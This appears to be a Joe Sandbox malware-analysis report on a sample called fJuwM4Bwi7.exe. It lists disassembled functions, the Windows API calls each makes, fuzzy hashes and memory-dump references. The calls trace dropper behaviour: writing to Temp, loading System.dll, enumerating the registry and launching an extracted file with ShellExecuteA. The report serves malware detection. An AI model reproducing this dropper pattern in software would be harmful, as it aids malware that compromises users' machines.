Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 223d8f7865d2b1dd0e95bc8f55079009c40be9e2a37a1be7db68750e4265ac19
Instruction ID: c8505a4ed1fbcfe48898eca751f608fe424cacc25c72cee6cab93c7adb8e4515
Opcode Fuzzy Hash: 223d8f7865d2b1dd0e95bc8f55079009c40be9e2a37a1be7db68750e4265ac19
Instruction Fuzzy Hash: 742190B1A44208BFEF41AFB4CD4AAAE7BB5EF40344F14453EF541B61D1D6B89A40E728

Function 0040303A Relevance: 6.1, APIs: 4, Instructions: 108fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040304F

Part of subcall function 004031CC: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402EA4,?), ref: 004031DA

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,?,00402F52,00000004,00000000,00000000,?,?,?,00402ECB,000000FF,00000000,00000000), ref: 00403082
WriteFile.KERNELBASE(0040A8A0,0040FFD0,00000000,00000000,004128A0,00004000,?,00000000,?,00402F52,00000004,00000000,00000000,?,?), ref: 0040313C
SetFilePointer.KERNELBASE(00005963,00000000,00000000,004128A0,00004000,?,00000000,?,00402F52,00000004,00000000,00000000,?,?,?,00402ECB), ref: 0040318E

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID:
API String ID: 2146148272-0
Opcode ID: 24d90e6fe24fc4b927ba7929ca5aee42abf3264703176f7c86ada2f370568673
Instruction ID: 01a25493adf58fb9a894681412e440a2e883d4234beea4965eba9eb13e735820
Opcode Fuzzy Hash: 24d90e6fe24fc4b927ba7929ca5aee42abf3264703176f7c86ada2f370568673
Instruction Fuzzy Hash: CC414F725052019FDB10BF29EE849663BFCFB4431A715863BE810BA2E4D7389D52CB5E

Function 00401F68 Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 00401F93

Part of subcall function 0040501F: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000,?), ref: 00405058
Part of subcall function 0040501F: lstrlenA.KERNEL32(00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C51,00000000), ref: 00405068
Part of subcall function 0040501F: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00402C51,00402C51,Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,00000000,00000000,00000000), ref: 0040507B
Part of subcall function 0040501F: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll), ref: 0040508D
Part of subcall function 0040501F: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004050B3
Part of subcall function 0040501F: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004050CD
Part of subcall function 0040501F: SendMessageA.USER32(?,00001013,?,00000000), ref: 004050DB

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00401FA3
GetProcAddress.KERNEL32(00000000,?), ref: 00401FB3
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 0040201D

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 8405f33e14f9c3f15d0e520106e072150188c144eaeb8d7ef96d34cccaac7bda
Instruction ID: 23a464ffe6ca8440643a385a127484fd4ee8ad6b227fb7efa4d26ad3fc5b3ac3
Opcode Fuzzy Hash: 8405f33e14f9c3f15d0e520106e072150188c144eaeb8d7ef96d34cccaac7bda
Instruction Fuzzy Hash: D7210872904211BACF107FA48E49A6E39B0AB44358F60823BF601B62D1D7BC4941AA6E

Function 004031E3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00405FA1: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\fJuwM4Bwi7.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,77463410,004033C9), ref: 00405FF9
Part of subcall function 00405FA1: CharNextA.USER32(?,?,?,00000000), ref: 00406006
Part of subcall function 00405FA1: CharNextA.USER32(?,"C:\Users\user\Desktop\fJuwM4Bwi7.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,77463410,004033C9), ref: 0040600B
Part of subcall function 00405FA1: CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,77463410,004033C9), ref: 0040601B

CreateDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,77463410,004033C9), ref: 00403204

Strings

1033, xrefs: 0040320B
C:\Users\user\AppData\Local\Temp\, xrefs: 004031E4, 004031E9, 004031EF, 004031FB, 00403203, 0040320A

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-1726532035
Opcode ID: ee23c129dd8a5d49f4f649e38bc420fd14e59507522fd77197c34cef7b8656a6
Instruction ID: 89773af62672bbf6302d30782f314b1c1bc42d6855f09756152acd8bf908297a
Opcode Fuzzy Hash: ee23c129dd8a5d49f4f649e38bc420fd14e59507522fd77197c34cef7b8656a6
Instruction Fuzzy Hash: 24D0C71290AD3066D5513B6A7C46FCF050C8F4675DF11807BF904751C58F6C555395EF

Function 00406745 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa6151eb6114a7c7dde5596e7ed141339a6810161cd6e35f889c2edb9118ca88
Instruction ID: d3f30c549e8eaa155af2d8805db43d359078549a114e1d1e4cfdde4495a9482f
Opcode Fuzzy Hash: fa6151eb6114a7c7dde5596e7ed141339a6810161cd6e35f889c2edb9118ca88
Instruction Fuzzy Hash: 13A14471E00228CBDF28DFA8C8447ADBBB1FB45305F15816ED816BB281D7785A96DF44

Function 00406946 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9dede487193b96133ea94438acbc75bab27e7ac1b94d370ef06066709f64446
Instruction ID: 66af66db22d428e7cee4185570621c0262e28a8f97ef0091af547b150b1cef7f
Opcode Fuzzy Hash: e9dede487193b96133ea94438acbc75bab27e7ac1b94d370ef06066709f64446
Instruction Fuzzy Hash: 7F912170E00228CBDF28DF98C8947ADBBB1FB45305F15816ED816BB281C7786A96DF44

Function 0040665C Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2d995426ddd841542114576c7cd3986778113386b5e0d0d2bb3b42046c5d03f
Instruction ID: 36158da5dd70985ab85e2c4d41886ca33cae813362c0b87a96f868d92fb05337
Opcode Fuzzy Hash: d2d995426ddd841542114576c7cd3986778113386b5e0d0d2bb3b42046c5d03f
Instruction Fuzzy Hash: 65815771D00228CFDF24CFA8C8847ADBBB1FB45305F25816AD816BB281D778A996DF15

Function 00406161 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68ae08bc292ff831ddf939399879833efa26d2e617e1386947dce183f6739e75
Instruction ID: 1715bfb1c3d5716620224504c503b3d15fe2aa0a2bbcc08a305e6ffc6cb4203b
Opcode Fuzzy Hash: 68ae08bc292ff831ddf939399879833efa26d2e617e1386947dce183f6739e75
Instruction Fuzzy Hash: 53817771D00228DBDF24CFA8C8447ADBBB0FB44301F2581AED856BB281D7786A96DF45

Function 004065AF Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2929f55d3e8b81ac1e584e7399a4f2facda7d772583105b5c0ec75abe6cb9a93
Instruction ID: 032b7c8430df6362c90b97cb5f8c3133674bcd2d0f853081a3cdcc23126a0f5c
Opcode Fuzzy Hash: 2929f55d3e8b81ac1e584e7399a4f2facda7d772583105b5c0ec75abe6cb9a93
Instruction Fuzzy Hash: 87711371D00228CFDF24CF98C8847ADBBB1FB48305F15806AD816BB281D7785996DF45

Function 004066CD Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 948a468c2091db2feb9fa4c22586628b65dd678cc983fa395508304452d62250
Instruction ID: 3e9dbefe820a1d4baf734be7fb741bb2fb66d8e6f9ed59188b506b6c9edb630d
Opcode Fuzzy Hash: 948a468c2091db2feb9fa4c22586628b65dd678cc983fa395508304452d62250
Instruction Fuzzy Hash: AB711371E00228CBDF28CF98C884BADBBB1FB44305F15816ED816BB281D7786996DF45

Function 00406619 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d63a3d575cf43ccaec2b316c623d79440d1cb8ee82c5371297a3fda91248972
Instruction ID: 1812ff5f5430a706778d8acc512246fd3c212bc7acfdfbe5d0fa3af8c8d1a12f
Opcode Fuzzy Hash: 2d63a3d575cf43ccaec2b316c623d79440d1cb8ee82c5371297a3fda91248972
Instruction Fuzzy Hash: AD712471E00228CBDF28DF98C844BADBBB1FB44305F15806ED856BB291C7786A96DF45

Function 00402F1F Relevance: 4.6, APIs: 3, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00409130,00000000,00000000,00000000,00000000,?,?,?,00402ECB,000000FF,00000000,00000000,00409130,?), ref: 00402F45
WriteFile.KERNELBASE(00000000,004128A0,?,000000FF,00000000,004128A0,00004000,00409130,00409130,00000004,00000004,00000000,00000000,?,?), ref: 00402FD2

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: File$PointerWrite
String ID:
API String ID: 539440098-0
Opcode ID: 41928112f34441f9b3539e2a42aa88ab340ce8e3764aaba8d566e6229e32b04b
Instruction ID: 3b6e370e410e3f669d4a968ba26e16673121f6254c39c59cd6eb20204b18cf3c
Opcode Fuzzy Hash: 41928112f34441f9b3539e2a42aa88ab340ce8e3764aaba8d566e6229e32b04b
Instruction Fuzzy Hash: 14313931502259FFDF20DF55DD44A9E3BA8EF04395F20403AF908A61D0D2789A41EBA9

Function 0040218A Relevance: 4.6, APIs: 3, Instructions: 51stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040603A: FindFirstFileA.KERNELBASE(?,00421548,Invaliditetsprocent209\indoktrineringen.rec,004058F7,Invaliditetsprocent209\indoktrineringen.rec,Invaliditetsprocent209\indoktrineringen.rec,00000000,Invaliditetsprocent209\indoktrineringen.rec,Invaliditetsprocent209\indoktrineringen.rec,?,?,77462EE0,00405616,?,C:\Users\user\AppData\Local\Temp\,77462EE0), ref: 00406045
Part of subcall function 0040603A: FindClose.KERNEL32(00000000), ref: 00406051

lstrlenA.KERNEL32 ref: 004021CA
lstrlenA.KERNEL32(00000000), ref: 004021D4
SHFileOperationA.SHELL32(?,?,?,00000000), ref: 004021FC

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: FileFindlstrlen$CloseFirstOperation
String ID:
API String ID: 1486964399-0
Opcode ID: bca2972add9fd882f8e407e235b9fbbb20ab122dffcfd5b9ae2cbf6afbd38a77
Instruction ID: 8bd3c95f8033a3e017dea1ba9a61a5da7054b4883ba983d73c0c7a27e6e6bfe8
Opcode Fuzzy Hash: bca2972add9fd882f8e407e235b9fbbb20ab122dffcfd5b9ae2cbf6afbd38a77
Instruction Fuzzy Hash: 70115671E04319AADB00FFB5894999EB7F8EF10344F10853BA505FB2D2D6BCC9019B69

Function 0040243A Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B07: RegOpenKeyExA.KERNELBASE(00000000,00000168,00000000,00000022,00000000,?,?), ref: 00402B2F

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402468
RegEnumValueA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 0040247B
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nszBD12.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402490

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: caf030312989360912e564f455c27575c802c45ca4fe6e6e3a31a613e64801eb
Instruction ID: 09a8887cd5e4729410dcfabe5c46d2a670465c21522258ca6cdcbf1033b2090e
Opcode Fuzzy Hash: caf030312989360912e564f455c27575c802c45ca4fe6e6e3a31a613e64801eb
Instruction Fuzzy Hash: E8F08671904204FFD7119F659D8CEBF7A6CEB40748F10453EF441B62C0D6B95E41966A

Function 00401DD8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(?,00000000,00000000,00000000,C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Classifies,?), ref: 00401E1E

Strings

C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Classifies, xrefs: 00401E09

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: ExecuteShell
String ID: C:\Users\user\AppData\Local\Temp\terephthalate\edderdun\Classifies
API String ID: 587946157-1144022150
Opcode ID: 40434b390c6071fab714dcb5d25e8e1443f7045445f963bbe9c0ee784e309111
Instruction ID: 92cbb6ba42742382510c3a8e41a68a30635fa0dc9ae6a59fa4a75f74f7b170a3
Opcode Fuzzy Hash: 40434b390c6071fab714dcb5d25e8e1443f7045445f963bbe9c0ee784e309111
Instruction Fuzzy Hash: 8DF0F6B3B041047ACB41ABB59E4AE5D2BA4EB41718F240A3BF400F71C2DAFC8841F728

Function 100027EC Relevance: 3.2, APIs: 2, Instructions: 156fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000), ref: 100028AB
GetLastError.KERNEL32 ref: 100029B2

Memory Dump Source

Source File: 00000005.00000002.79058661791.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

